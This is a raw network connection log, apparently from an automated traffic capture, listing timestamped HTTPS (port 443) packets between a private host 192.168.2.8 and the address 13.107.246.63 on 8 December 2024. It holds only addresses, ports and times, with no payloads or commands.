Dec 8, 2024 10:48:18.182782888 CET	443	49849	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.186518908 CET	443	49849	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.186667919 CET	49849	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.186904907 CET	49849	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.186904907 CET	49849	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.186922073 CET	443	49849	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.186932087 CET	443	49849	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.194566011 CET	49854	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.194605112 CET	443	49854	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:18.197069883 CET	49854	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.200592041 CET	49854	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:18.200611115 CET	443	49854	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:19.866085052 CET	443	49852	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:19.866693974 CET	49852	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:19.866722107 CET	443	49852	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:19.867204905 CET	49852	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:19.867212057 CET	443	49852	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:19.868091106 CET	443	49851	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:19.868465900 CET	49851	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:19.868498087 CET	443	49851	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:19.868916988 CET	49851	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:19.868927956 CET	443	49851	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:19.869374990 CET	443	49850	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:19.869484901 CET	443	49853	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:19.869714022 CET	49850	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:19.869745970 CET	443	49850	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:19.869874954 CET	49853	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:19.869885921 CET	443	49853	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:19.870196104 CET	49850	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:19.870215893 CET	443	49850	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:19.870318890 CET	49853	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:19.870322943 CET	443	49853	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:19.983983994 CET	443	49854	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:19.985394001 CET	49854	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:19.985414028 CET	443	49854	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:19.986582994 CET	49854	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:19.986593962 CET	443	49854	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.299633980 CET	443	49852	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.301574945 CET	443	49851	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.302448988 CET	443	49853	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.302536011 CET	443	49850	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.303493977 CET	443	49852	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.303721905 CET	49852	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.303756952 CET	49852	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.303756952 CET	49852	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.303774118 CET	443	49852	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.303781986 CET	443	49852	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.304687977 CET	443	49851	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.304759979 CET	49851	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.304908991 CET	49851	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.304933071 CET	443	49851	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.304976940 CET	49851	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.304982901 CET	443	49851	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.305937052 CET	443	49850	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.305989027 CET	443	49850	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.306026936 CET	49850	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.306111097 CET	49850	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.306286097 CET	443	49853	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.306339025 CET	49853	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.306962967 CET	49850	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.306963921 CET	49850	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.306994915 CET	443	49850	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.307007074 CET	443	49850	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.307737112 CET	49855	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.307765961 CET	443	49855	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.307879925 CET	49855	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.308027983 CET	49853	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.308027983 CET	49853	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.308036089 CET	443	49853	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.308043957 CET	443	49853	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.308315039 CET	49855	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.308324099 CET	443	49855	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.310853958 CET	49856	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.310863972 CET	443	49856	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.310934067 CET	49856	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.311877966 CET	49857	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.311912060 CET	443	49857	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.312007904 CET	49857	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.312232971 CET	49857	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.312238932 CET	443	49857	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.312266111 CET	49858	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.312275887 CET	443	49858	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.312340975 CET	49858	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.312475920 CET	49856	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.312483072 CET	443	49856	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.312974930 CET	49858	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.312985897 CET	443	49858	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.417751074 CET	443	49854	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.421248913 CET	443	49854	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.421472073 CET	49854	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.421526909 CET	49854	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.421526909 CET	49854	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.421547890 CET	443	49854	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.421556950 CET	443	49854	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.424263954 CET	49859	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.424292088 CET	443	49859	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:20.424463987 CET	49859	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.424674988 CET	49859	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:20.424688101 CET	443	49859	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.062134981 CET	443	49858	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.062725067 CET	443	49855	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.062755108 CET	49858	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.062777996 CET	443	49858	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.062799931 CET	443	49856	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.062954903 CET	443	49857	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.063858986 CET	49858	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.063868999 CET	443	49858	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.064610958 CET	49855	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.064621925 CET	443	49855	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.065288067 CET	49855	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.065291882 CET	443	49855	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.065500021 CET	49856	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.065505028 CET	443	49856	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.065764904 CET	49857	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.065792084 CET	443	49857	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.065924883 CET	49856	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.065931082 CET	443	49856	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.066211939 CET	49857	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.066216946 CET	443	49857	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.140268087 CET	443	49859	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.142011881 CET	49859	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.142011881 CET	49859	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.142034054 CET	443	49859	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.142047882 CET	443	49859	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.494981050 CET	443	49858	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.496325016 CET	443	49856	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.496345997 CET	443	49855	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.496469975 CET	443	49856	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.497169971 CET	443	49857	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.498648882 CET	49856	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.498648882 CET	49856	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.498786926 CET	49856	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.498804092 CET	443	49856	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.498830080 CET	443	49858	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.500238895 CET	443	49855	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.500271082 CET	443	49855	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.500365019 CET	49858	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.500365019 CET	49855	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.500531912 CET	49855	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.500540018 CET	443	49855	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.500588894 CET	49855	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.500596046 CET	443	49855	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.500731945 CET	443	49857	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.500781059 CET	443	49857	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.501527071 CET	49858	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.501527071 CET	49858	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.501537085 CET	443	49858	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.501545906 CET	443	49858	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.501609087 CET	49857	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.501609087 CET	49857	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.501708984 CET	49857	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.501724005 CET	443	49857	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.503002882 CET	49860	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.503066063 CET	443	49860	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.504195929 CET	49862	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.504196882 CET	49861	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.504205942 CET	443	49862	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.504239082 CET	443	49861	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.504276037 CET	49862	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.504276037 CET	49860	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.504386902 CET	49863	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.504395962 CET	443	49863	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.504420042 CET	49861	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.504491091 CET	49860	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.504503012 CET	443	49860	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.504566908 CET	49863	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.504571915 CET	49862	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.504581928 CET	443	49862	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.504609108 CET	49861	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.504620075 CET	443	49861	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.504784107 CET	49863	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.504790068 CET	443	49863	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.573788881 CET	443	49859	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.577516079 CET	443	49859	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.577579021 CET	443	49859	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.577594995 CET	49859	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.577640057 CET	49859	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.577946901 CET	49859	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.577959061 CET	443	49859	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.577984095 CET	49859	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.577989101 CET	443	49859	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.580790997 CET	49864	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.580832958 CET	443	49864	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:22.581258059 CET	49864	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.581392050 CET	49864	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:22.581401110 CET	443	49864	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.221149921 CET	443	49863	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.221921921 CET	49863	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.221959114 CET	443	49863	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.222141027 CET	443	49860	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.222147942 CET	443	49861	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.222170115 CET	443	49862	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.222552061 CET	49863	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.222558022 CET	443	49863	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.222937107 CET	49861	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.222939968 CET	49860	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.222943068 CET	443	49861	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.222965956 CET	443	49860	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.223123074 CET	49862	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.223131895 CET	443	49862	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.223506927 CET	49862	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.223507881 CET	49861	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.223511934 CET	443	49861	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.223512888 CET	443	49862	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.223825932 CET	49860	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.223830938 CET	443	49860	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.297674894 CET	443	49864	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.299304008 CET	49864	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.299304008 CET	49864	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.299321890 CET	443	49864	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.299334049 CET	443	49864	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.654534101 CET	443	49863	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.654917955 CET	443	49861	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.655493975 CET	443	49862	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.655631065 CET	443	49860	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.655688047 CET	443	49860	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.656603098 CET	49860	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.656740904 CET	49860	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.656760931 CET	443	49860	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.656790972 CET	49860	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.656796932 CET	443	49860	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.658027887 CET	443	49863	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.658081055 CET	443	49863	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.658179045 CET	49863	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.658494949 CET	49863	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.658513069 CET	443	49863	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.658576012 CET	443	49861	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.658622980 CET	443	49861	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.658668995 CET	443	49862	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.658682108 CET	49861	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.658723116 CET	49862	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.662035942 CET	49861	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.662035942 CET	49861	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.662044048 CET	443	49861	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.662051916 CET	443	49861	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.663111925 CET	49862	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.663111925 CET	49862	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.663127899 CET	443	49862	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.663139105 CET	443	49862	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.667355061 CET	49865	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.667391062 CET	443	49865	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.668081999 CET	49866	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.668118000 CET	443	49866	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.668195009 CET	49865	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.668231964 CET	49866	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.669152975 CET	49867	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.669174910 CET	443	49867	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.669240952 CET	49865	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.669248104 CET	49868	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.669253111 CET	443	49865	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.669272900 CET	443	49868	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.669281006 CET	49867	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.669398069 CET	49867	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.669403076 CET	49868	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.669406891 CET	443	49867	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.669545889 CET	49866	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.669574976 CET	443	49866	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.669969082 CET	49868	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.669982910 CET	443	49868	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.731813908 CET	443	49864	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.735161066 CET	443	49864	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.735308886 CET	49864	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.735488892 CET	49864	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.735488892 CET	49864	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.735507965 CET	443	49864	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.735517979 CET	443	49864	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.739033937 CET	49869	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.739089012 CET	443	49869	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:24.739558935 CET	49869	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.739741087 CET	49869	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:24.739757061 CET	443	49869	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.409641981 CET	443	49866	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.410170078 CET	49866	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.410197973 CET	443	49866	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.410329103 CET	443	49867	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.410598993 CET	443	49865	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.410681009 CET	443	49868	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.410942078 CET	49866	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.410948038 CET	443	49866	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.411330938 CET	49867	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.411355019 CET	443	49867	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.411827087 CET	49865	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.411833048 CET	443	49865	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.411878109 CET	49867	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.411881924 CET	443	49867	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.412156105 CET	49868	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.412184000 CET	443	49868	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.412339926 CET	49865	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.412343979 CET	443	49865	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.412741899 CET	49868	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.412750959 CET	443	49868	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.485347986 CET	443	49869	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.488157034 CET	49869	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.488184929 CET	443	49869	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.488766909 CET	49869	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.488776922 CET	443	49869	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.842992067 CET	443	49866	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.844362020 CET	443	49868	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.844444036 CET	443	49867	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.844458103 CET	443	49868	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.844463110 CET	443	49865	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.844528913 CET	443	49865	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.844537020 CET	49868	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.844573021 CET	49865	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.844739914 CET	49865	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.844755888 CET	443	49865	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.846153975 CET	49868	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.846153975 CET	49868	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.846184969 CET	443	49868	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.846199989 CET	443	49868	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.846659899 CET	443	49866	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.846744061 CET	49866	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.847456932 CET	443	49867	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.847497940 CET	49867	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.847498894 CET	443	49867	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.847552061 CET	49867	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.849395037 CET	49866	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.849395037 CET	49866	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.849412918 CET	443	49866	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.849425077 CET	443	49866	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.849684954 CET	49870	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.849725008 CET	443	49870	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.849795103 CET	49870	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.849802971 CET	49867	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.849807978 CET	443	49867	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.849817991 CET	49867	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.849822998 CET	443	49867	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.851485968 CET	49870	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.851502895 CET	443	49870	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.852797031 CET	49871	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.852822065 CET	443	49871	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.852961063 CET	49871	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.853056908 CET	49871	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.853068113 CET	443	49871	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.854127884 CET	49872	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.854142904 CET	443	49872	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.854199886 CET	49872	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.854996920 CET	49873	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.855024099 CET	443	49873	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.855072021 CET	49872	443	192.168.2.8	13.107.246.63
